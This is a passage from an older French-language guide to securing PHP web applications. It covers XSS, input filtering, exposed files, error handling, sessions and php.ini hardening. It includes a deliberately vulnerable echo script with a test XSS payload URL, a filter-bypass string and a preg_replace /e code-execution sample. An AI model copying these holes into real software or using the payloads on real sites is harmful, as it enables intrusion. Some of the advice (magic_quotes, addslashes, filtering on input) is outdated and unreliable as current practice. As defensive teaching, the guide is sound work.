La vérification du type de fichier n'est pas très utile. Prenez un vrai .jpg, concaténez lui des instructions PHP, le type renvoyé par la commande "file" par exemple sera toujours "jpeg". Il n'est pas plus utile de tester avec des fonctions de la GD LIB.

Spécifique PHP : le champ hidden MAX_FILE_SIZE permet d'éviter des uploads de fichiers de taille trop importante par rapport à la taille maximum déclarée dans le fichier php.ini. Il n'est en rien une garantie de sécurité car outre le fait qu'il est évident qu'on peut modifier le code html du formulaire et envoyer un fichier de la taille que l'on veut, il ne sert absolument pas à faire de la sécurité, mais seulement à éviter un transfert voué à l'échec d'un fichier qui serait plus gros que la valeur maximale déclarée dans php.ini. Dit autrement, MAX_FILE_SIZE ne sert à rien.

Les XSS ou l'injection de code client

XSS: Cross Site Scripting Attack.
Les XSS représentent à mon sens la forme la plus vicieuse et la plus évoluée de l'attaque des web-apps, en particulier les XSS stockées.

Le risque

Imaginez qu'un attaquant arrive à ajouter du code HTML ou javascript ou applet, ou active-x, eyc... dans l'une de vos pages "à l'insu de votre plein gré", quelles sont les nouvelles possibilités qui viennent de s'ouvrir à lui pour attaquer l'utilisateur qui vient innocemment accéder à votre page

corrompue ?
Liste bien entendu non exhaustive :
- essayer de profiter d'une faille du navigateur pour installer toutes sortes de cochoncetés (spywares et autres keyloggers, trojans, backdoors, virus... j'en passe et des meilleures).
- changer la destination réseau des informations soumises par l'utilisateur et les récupérer, quitte à copier la charte graphique de votre site pour que la transparence soit complète
- récupérer les cookies que vous avez positionné (deux lignes de JS appelant une ligne de PHP suffisent...)
- récupérer des identifiants de session (en particulier en exploitant le champ referer dans ses propres logs, qui pourra contenir des identifiants de session...)
- etc.
Le principe des XSS, c'est ça : injecter dans vos pages du code qui sera exécuté, immédiatement ou plus tard, par le navigateur d'une victime qui ne s'apercevra jamais de rien. La page vient bien de chez vous, même le certificat SSL sera bon...

Des exemples de chaînes permettant de détecter une application vulnérable :
http://ha.ckers.org/xss.html

Les XSS instantanées

Beaucoup de sites web dynamiques sont vulnérables à cette faille : on passe dans l'une des variables le code html/javascript qu'on veut injecter. Ce code n'est stocké nulle par (sauf dans les logs du serveur http si c'est en GET), d'où l'appellation ici d'instantané.

A quoi cela pourrait-il bien servir à un attaquant d'exécuter une attaque sur sa propre machine en recevant le résultat ? Sur la sienne, à rien, sur celle des victimes potentielles de phishing à qui il vient d'envoyer la même chose sous forme de lien html cliquable par courrier électronique à quelques milliers/millions d'exemplaires, ce n'est pas la même musique. L'attaquant peut même se servir d'une XSS stockée (cf plus loin) sur un premier site pour faire une XSS instantanée sur un autre site : tous les moyens sont bons pour que la victime clique sur le lien contenant la XSS instantanée.
Un exemple simpliste :
```
<?php // xss_vulnerable.php
echo $_REQUEST['xss'];
?>
```
appel : http://www.cible.tld/xss_vulnerable.php?%3Cscript%3E%20alert()%3C/SCRIPT%3E
Bien sûr il vous faut un navigateur avec JS activé.
Attention, les XSS ne se limitent pas à javascript. Tout ce qui pourra s'exécuter dans un navigateur ou plus généralement dans votre vecteur de sortie (PDF, etc.) peut devenir support d'attaque. Et vu le nombre de balises déclenchant une exécution de code client reconnues par les navigateurs, il y a du soucis à se faire (javascript bien sûr, mais aussi vbscript, active-x, etc...).

Les XSS stockées

Cette forme est similaire dans le résultat, mais elle fonctionne en deux temps.
Temps 1 : l'attaquant envoie à la cible une variable vérolée contenant du code offensif exécutable côté client, et la cible stocke cette information en base de données (sans aucun danger pour lui même d'ailleurs, c'est du texte mort), avant en général de remercier l'attaquant pour les informations qu'il a envoyées. Exemple : quand vous passez une commande sur un site marchand, il y a souvent

une zone de texte libre par exemple pour mettre "bon anniversaire mon canard" (il va pas être déçu, le canard).
Temps 2 : la victime, par exemple l'administrateur du site marchand qui regarde la liste de ses commandes à traiter, demande la zone vérolée à la base de données, et exécute sur sa machine le code dormant que le SGBDR a gentiment stocké et restitué vérolé.

Attention : il n'est pas nécessaire d'avoir une faille de type injection SQL pour stocker une XSS.

Comment résoudre ce problème ?

A ce stade de la description des attaques classiques, le besoin d'un module de filtrage qu'on avait déjà pressenti est confirmé : il va falloir faire le ménage dans TOUTES les variables reçues ayant le SGBDR pour destination, on n'y coupera pas. Et ce quel que soit leur vecteur d'entrée (web app, web service, backend rss, fichier importé, etc.)
Selon le nombre et le type de vecteurs de sortie que votre application nécessite, il faudra faire le ménage avant stockage ou lors de la récupération depuis le stockage avant génération du document de sortie : les attaques dans les PDF, ça existait déjà avant la dernière version du reader qui active javascript par défaut, mais ça ne va pas s'améliorer donc... Personnellement, je conseille de faire un filtrage systématique en entrée, quitte à faire la transformation inverse et un filtrage spécifique au vecteur de sortie spécifique non navigateur (filtrage en entrée et en sortie donc pour les cas hors navigateur).

"filtrer", "faire le ménage", oui mais en pratique, on fait quoi ?

Je déconseille de jouer avec des regexps ou des filtres de remplacement de chaînes dans tous les sens pour supprimer les chaînes estimées dangereuses, et ce pour plusieurs raisons:
- le principe même de la liste des choses interdites est intrinsèquement mauvais en sécurité informatique. Le seul principe sécuritaire, c'est l'inverse : "tout ce qui n'est pas explicitement autorisé est interdit".
- les regexps sont un langage en elles mêmes, et qui plus est complexe. On a vite fait de se perdre et de *croire* qu'on a la bonne regexpl.
- elles sont souvent gourmandes en ressources, en particulier car souvent mal écrites
- ces types de filtres sont souvent contournables. Par exemple :
$is_it_really_safe=str_ireplace('<TAG_INTERDIT>','',$unsafe);
Si $unsafe contient <TAG_IN<TAG_INTERDIT>TERDIT> dommage...

La seule solution consiste donc à "désamorcer" le code offensif selon le vecteur de sortie. Pour un navigateur, il faut transformer tout caractère potentiellement offensif en son équivalent entité html.
Caractère offensifs principaux / : < > % & " '
Réalisation en PHP : la fonction htmlspecialchars() ne traduit que & " ' < > il manque donc / : % donc ou vous les traduisez manuellement par un appel à trois str_replace, ou vous traduisez tous les caractères en leur entité html par htmlentities(). Attention dans ce cas à prévoir des tailles de (var) char(2) augmentées : société générale => société générale
La fonction strip_tags( ) fonctionne aussi (et ne se fait pas avoir par une ruse du type <SC<script>RIPT>) mais son comportement n'est pas documenté explicitement même si son code source est public, donc on peut le disséquer.

Module de filtrage ou "input sanitizing"

A mon sens, la protection contre les injections sur les entiers est le premier pas vers la seule solution logique aux besoins, que je vais rappeler :
- on travaille sur toutes les variables en entrée. Ca fait beaucoup de variables à traiter parfois.
- on souhaite pouvoir s'adapter à la configuration locale (magic_quotes par exemple)
- on souhaite pouvoir valider le type de données.
Rajoutons les attaques de type xss qui montrent bien un besoin fort de "nettoyage" des données reçues pour les purger de tout code offensif : tout ceci fait naturellement (?) penser à un module de filtrage.
Je ne vois pas comment on peu se passer, sous une forme ou sous une autre, d'un module de filtrage fonctionnel/métier. Ce module permettra de filtrer chaque variable par rapport à un type métier, caractérisé par une liste de caractères spécifiquement autorisés pour sa composition. Pour tous les types non exclusivement numériques, transformer tous les caractères permettant des XSS (ou tous les caractères tout court !) en leur entité HTML. Effet de bord positif : ceci permet de ne stocker que de l'ASCII 7 bits dans le SGBD, ce qui simplifie certains problèmes de charsets.

Ce module pourra être implémenté sous la forme de programmation linéaire classique (ce que je ferai ici), sous forme objet, et dans les deux cas, appelé manuellement sur toutes les variables ou en utilisant des descripteurs de données (d'aucuns utilisent le terme "ORM" pour "Object Relation Mapper") pour industrialiser.

Voici un exemple simplifié de fonction de filtrage. Il s'agit là d'un canevas pour donner les principales vérifications, nullement d'une librairie finalisée.

ATTENTION : j'utilise ici $_REQUEST qui regroupe un certain nombre de données venant du monde extérieur ($_GET, $_POST, $_COOKIE et avant php 4.3.0 $_FILES) mais souvenez vous que d'autres données comme par exemple $_SERVER['HTTP_USER_AGENT'] ou $_FILES u $_COOKIES sont tout aussi dangereuses.

```
// filtrage des données, à utiliser systématiquement pour toute variable externe
function fx_filter($name, $type='STRING', $def='')
{
// si la variable n'a pas ete recue, gerer proprement l'erreur
// on se fichez de savoir comment a ete transmise la donnee.
if(!isset($_REQUEST[$name])) return $def;

$unsafe=trim($_REQUEST[$name]);
// selon le type de variable attendue, traiter.
switch($type)
 {
// on gere ici les entier et les flottants de la meme maniere, ceci est un exemple simplifie
// ceci protege des injections sql sur les entiers et evite toute incohérence.
 case  'INT':
 case  'FLOAT':
    if(!is_numeric($unsafe)) return $def;
    return $unsafe;
    break; //inutile, pour respecter la syntaxe habituelle
 default :
  // on se protege des injections SQL sur des strings
  // remplacer ces tests pour Sybase, qui echappe les ' par une autre ' et on un \
   if(get_magic_quotes_gpc()==0)
    {
```

```
    $unsafe=addslashes($unsafe);
    }
    break;
 }
// il reste les XSS.
// on pourrait aussi utiliser html_entities() à la place de htmlspecial chars
// mais attention aux tailles des champs sgbd a augmenter
// on pourrait aussi utiliser strip_tags()
 $safe=htmlspecialchars($unsafe);
 return trim($safe);
}
```

Appel :

```
$nom_famille=fx_filter ('nom_famille');
$age=fx_filter('age','INT');
$qte=fx_filter('qty','INT',1);
```

Attention dans les deux cas (programmation linéaire ou objet) : le besoin va rapidement se faire sentier d'avoir un typage métier fort. Dans un cas comme dans l'autre, on risque vite de se retrouver avec une tétrachiée de types quasi identiques mais pas exactement avecdes subtilités dans les caractères autorisés. Juste un exemple : la liste des caractères d'un nom de famille est restreinte à ESPACE AZaz avec les accents ' - (et depuis janvier 2005 la répétition -- est autorisée), mais on a pas de raisons d'autoriser des chiffres par exemple, alors que la liste des caractères autorisée pour une adresse de courrier électronique est plus exhaustive : alphanum trait d'union - underscore _ @ bien sûr, depuis récemment aussi les accents. Et les exemples comme ça se multiplient. Vous devrez être vigilant à :
- vous limiter dans les types de filtrage. Il est raisonnable d'avoir les types suivants : entier, réel, chaîne simple (alphanumériques ASCII plus underscore, pour les variables internes à votre application et les identifiants de session par exemple), email, chaîne normale. Si vous le devez vraiment, un type HTML (en utilisant alors strip_tags et une liste de tags autorisés, puis un filtre manuel pour éviter les XSS dans les balises autorisées genre <BODY onload(alert())> si vous autorisez BODY par exemple).

L'appel direct 'imprévu' de fichiers

Dès lors que quelqu'un connaît le nom de votre fichier, il peut le demander directement dans l'url de son navigateur : http://www.cible.tld/secret.txt
Or certains fichiers n'ont pas du tout été prévus par le développeur pour un appel direct, et se décomposent en trois catégories :
- le fichier de configuration : config.inc (plouf, dommage, au revoir)
- le fichier qui est appelé par un autre après validation avec header ("Location:http://www.cible.tld/insert.php") (attention, danger)
- les templates (gravité variable)

Règle : toujours vous assurer que les fichiers contenant du code seront ou inaccessibles s'ils n'ont pas à être appelés directement par le client, ou dans tous les cas exécutés côté serveur. Ne pas partir du principe que l'attaquant n'arrivera pas à deviner leur nom.

Le fichier config.inc contient les login/pass d'accès à la base de données, si je l'appelle directement

dans l'URL, je le lis en clair. Il doit nécessairement être appelé config.php (ou si ça vous amuse config.inc.php mais je suis contre ces noms à rallonge inutiles), et si possible dans un répertoire inaccessible par http.

Dans cette même catégorie, n'oubliez pas de vérifier l'authentification à CHAQUE requête, pas seulement sur la première page !

Règle : on doit toujours valider les données qui arrivent du monde extérieur. Vous l'avez fait dans verif.php, vous voulez maintenant exécuter l'insertion en base dans insert.php : faites un require ('insert.php'); en interdisant l'accès direct à ce script ou si vous voulez vraiment faire faire un aller-retour aux données en utilisant header ("Location:http://www.cible.tld/insert.php?data1=1&data2=2") vous DEVREZ IMPERATIVEMENT les faire une DEUXIEME FOIS dans ce script.

Attention également que les données sont alors envoyées en GET et apparaîtront donc en clair dans les logs (mots de passe, numéros de carte bleue, etc...).

Règle : tout script qui est appelable directement par l'URL doit valider ses propres données ou pouvoir s'assurer que l'appelant l'a fait pour lui de manière sécurisée.

Plusieurs solutions donc, cumulables :
- on met insert.php dans le sous-répertoire priv/ et on interdit l'accès HTTP à tout ce répertoire par exemple avec un .htaccess sous apache
- le script "public" verif.php appelant défini une constante par l'instruction define("SECU",1); et le script privé appelé par require('priv/insert.php'); commence par la ligne : if(!defined("SECU")) exit ();
Attention, il s'agit bien d'utiliser des CONSTANTES définies par l'instruction PHP define() et non des variables si on veut rester immunisé à la configuration register_globals=On.

Pour les fichiers template embarquant des instructions PHP ou non, attention aux XSS. Le test de la constante et le .htaccess peuvent aussi s'appliquer.

La gestion des messages d'erreurs

Lors de la phase de collecte d'informations, l'attaquant tirera profit de toute information qui lui sera communiquée par l'application, surtout celles de débuggage destinées théoriquement aux développeurs. En production, votre application doit absolument être totalement muette sur la raison du pourquoi elle a échoué. Présentez un écran standard d'excuses à vos utilisateurs légitimes, mais ne laissez passer aucune raison. Même un code d'erreur numérique interne permet de savoir si on vient de provoquer deux fois la même erreur ou deux erreurs différentes et est une information en soit.

Les erreurs annexes :

Les fichiers oubliés

Nombre d'éditeurs de texte ou d'utilitaires divers sauvegardent des copies de travail avec une extension propre (ou plutôt : sale) telles que : '.old', '.bak', '~', '.orig', '.backup', '.bad', '.swp'
Ces fichiers ne sont pas parsés par le moteur dynamique et si quelqu'un les demande directement dans l'URL, il les obtiendra, et pourra donc lire votre code (ou vos mots de passe) en clair.

Plus gênant car relevant de l'erreur de conception, l'oubli de protection de fichiers contenant des données confidentielles (adresses IP, logins/pass, chiffrés ou non, etc.)
Faire aussi la chasse aux fichiers de test et autres phpinfo.php qui exécuteront des commandes impérvues ou donneront des informations.

Le fichier robots.txt

Raisonnement idiot mais déjà rencontré : "tel fichier/répertoire contient des données confidentielles, je ne veux pas que les robots d'indexation/référencement l'enregistrent, je le mets donc dans robots.txt".
N'importe qui peut demander ledit fichier robots.txt. Y compris un attaquant, automatisé ou humain. Donc ne mettez jamais d'allusion à quoi que ce soit de confidentiel dans ce fichier. Il ne sert qu'à empêcher le référencement de certaines parties de votre site par les robots, c'est une mesure marketing, pas de sécurité.

La récupération de code étranger

"on ne réinvente pas la roue" est un adage rabâché à longueur de temps. C'est exact, et en particulier en termes de sécurité, s'il y a déjà des experts qui se sont penché sur le problème et ont écrit des bibliothèques de qualité, on ne va pas risquer de faire des fautes de débutant. Mais attention, il n'y a pas que des applications de qualité dans le monde open/closed source, loin s'en faut. Avant de porter votre choix sur un logiciel quel qu'il soit (libre ou non, gratuit ou payant) prenez le temps de faire une recherche sur ses failles (un coup de google avec "exploit" comme mot clef par exemple, ou un petit tour sur www.security-focus.com). S'il revient une palanquée de failles découvertes, méfiez vous... Dans tous les cas, si vous avez accès au source, prenez une heure ou deux pour vérifier la cohérence de "l'input sanitizing". Attention au code libre : tout hacker (au vrai sens du terme) peut y trouver des failles, aussi bien ceux qui veulent les exploiter que ceux qui veulent les corriger.

5. Quatrième partie: les pratiques conseillées

GET ou POST ?

La légende raconte beaucoup de choses sur la différence entre ces deux méthodes de transmission des données. En termes de sécurité, une seule différence est importante : les requêtes en GET sont toujours en clair dans les logs du serveur http qui les reçoit, en général, les requêtes en POST ne le sont pas. Par conséquent, toute donnée confidentielle comme un login/pass doit transiter en POST.
Faites attention au champ referer qui contiendra l'identifiant de session si la page a été générée en GET, identifiant de session qui apparaitra donc en clair dans les logs de tout serveur externe quand on cliquera dans votre page, ou si vous affichez des images (compteurs, etc.). C'est la base d'une XSS qui essaie de faire du vol d'identifiant de session.

La sacro sainte récupération du mot de passe oublié

La première question à se poser : est-elle vraiment nécessaire en mode automatique ?
Si oui (tant pis, on va bosser), n'envoyez pas l'ancien mot de passe par courrier électronique, envoyez un lien avec un jeton aléatoire à validité limitée à 1h à une adresse électronique déjà connue de votre application, éventuellement avec une réponse obligatoire à une question préenregistrée, permettant d'écraser l'ancien. Ainsi il y aura une petite chance qu'on détecte l'intrusion si l'utilisateur légitime s'aperçoit qu'il ne peut plus se connecter à l'application et remonte l'information.

Les sessions

Quelle que soit la gestion de sessions que vous utilisiez sur votre plateforme, elles doivent impérativement vous permettre de gérer un time-out. Si votre application le nécessite, vous pouvez envisager de ne pas conserver le même identifiant tout au cours de la même session pour limiter la probabilité du vol d'identifiant (à la limite, mais ceci doit vraiment se justifier, vous pouvez avoir un jeton-jetable, valable pour une seule requête à chaque fois).

Les fonctions PHP dangereuses

Toutes celles qui permettent d'exécuter du code sur le système : eval, exec, passthru, system, shell_exec, popen, proc_open.
Attention au modificateur /e de preg_replace( ) qui permet d'exécuter du code. Exemple de faille à ce sujet dans phpBB :

```
<?php
$string1="phpinfo()";
$string2=preg_replace('//e',$string1,'');
?>
```

(utilisé dans phpBB pour le "syntax highlighting").

Toutes celles qui permettent de lire des fichiers ou pire d'en écrire : fopen, fwrite.
L'envoi de mail : une mauvaise protection du paramètre "additionnal headers" ou "additionnal parameters" peut rapidement transformer votre machine en relay anonyme pour envoyer du spam...

Si elles ne sont pas utilisées sur votre machine et que vous avez les droits pour le faire, désactivez ces fonctions (dans php.ini, cf. ci-dessous).

Droits du serveur http

Assurez vous que les droits liés aux processus web soient corrects : nobody/nobody est un grand classique, mais sur les hébergements dédiés virtuels, ce n'est pas le cas. JAMAIS de droits priviligiés (root, admin)

Configuration de PHP

Ne partez pas du principe que c'est le cas parce que c'est la configuration par défaut. Vérifiez le, ça prend 5 minutes.
Pour une machine de production, dans php.ini :
Activer magic_quotes_gpc=On
Activer register_globals=Off

Désactiver allow_url_fopen = On en le passant à Off (attention, ce n'est pas la configuration par défaut).
Activer display_errors=Off
Eventuellement Log_errors=On avec error_log=fichier, attention à ce que ce fichier soit situé en dehors de l'arborescence web.
Activer le safe_mode : http://fr2.php.net/manual/en/features.safe-mode.php
Vérifier l'include_path. Si personne n'utilise pear sur cette machine, ne pas l'inclure dans le chemin.
Désactiver toutes les fonctions dangereuses inutilisées sur la plateforme avec la directive "disable_functions" : eval, fwrite, exec, passthru, system, shell_exec. Eventuellement même fopen.

Limiter le fingerprinting

Dans php.ini : expose_php=Off
Ceci permet principalement de ne pas communiquer la version exacte de PHP (et donc les failles auxquelles elle est sensible), sauf à associer une extension usuelle d'un autre langage (par exemple . pl) aux scripts PHP ou à utiliser de l'URL rewriting.
Dans apache : Servertokens à Prod et ServerSignature à Off.
Au niveau système d'exploitation : le fingerprinting de la stack IP renseignera presque toujours un attaquant, il y a moins de choses possibles à ce niveau là, mais prenez le temps de vous renseigner sur ce qui est faisable (os-dependant).

Sauvegardes sécurisée

Il faut bien entendu sauvegarder régulièrement : si on détruit totalement vos données (sgbdr, scripts, etc...) ou si on vous les vole physiquement (vol d'ordinateur portable par exemple).

Deux points néanmoins à ce sujet :

1) vérifier régulièrement que les sauvegardes sont lisibles et complètes (par exemple, un bug de l'utilitaire "exp" d'oracle 8.x fait que l'export s'arrête sans erreur dès que le fichier d'export de la base atteint 2Go... dommage pour le reste) .

2) vérifier que ces backups ne sont pas accessibles, ils contiennent toutes les données confidentielles recherchées !

6. Conclusion

Suite à diverses questions sur le forum fr.comp.lang.php, j'avais lancé un thread de synthèse sur fr.comp.securite en m'engageant à écrire un résumé : il m'a fallu un peu plus de 6 mois pour m'y mettre et rédiger ce document, mais la recrudescence de questions basiques et d'attaques m'a poussé à investir le temps nécessaire. J'espère que ce document permettra d'éviter quelques failles et n'en génèrera pas trop...

Merci de me signaler toute erreur (faute de frappe ou autre). Je reste à disposition pour toute question, indiquez "php" quelque part dans l'objet de votre email(1) envoyé à john.gallet@saphirtech.com

(1) Non à la "gagadémie", un bon anglicisme est préférable à un mauvais néologisme.

7. Remerciements

Aux contributeurs de fcs.
A Armel Fauveau et Geoffroy d'Illier pour leur relecture attentive.

Table des matières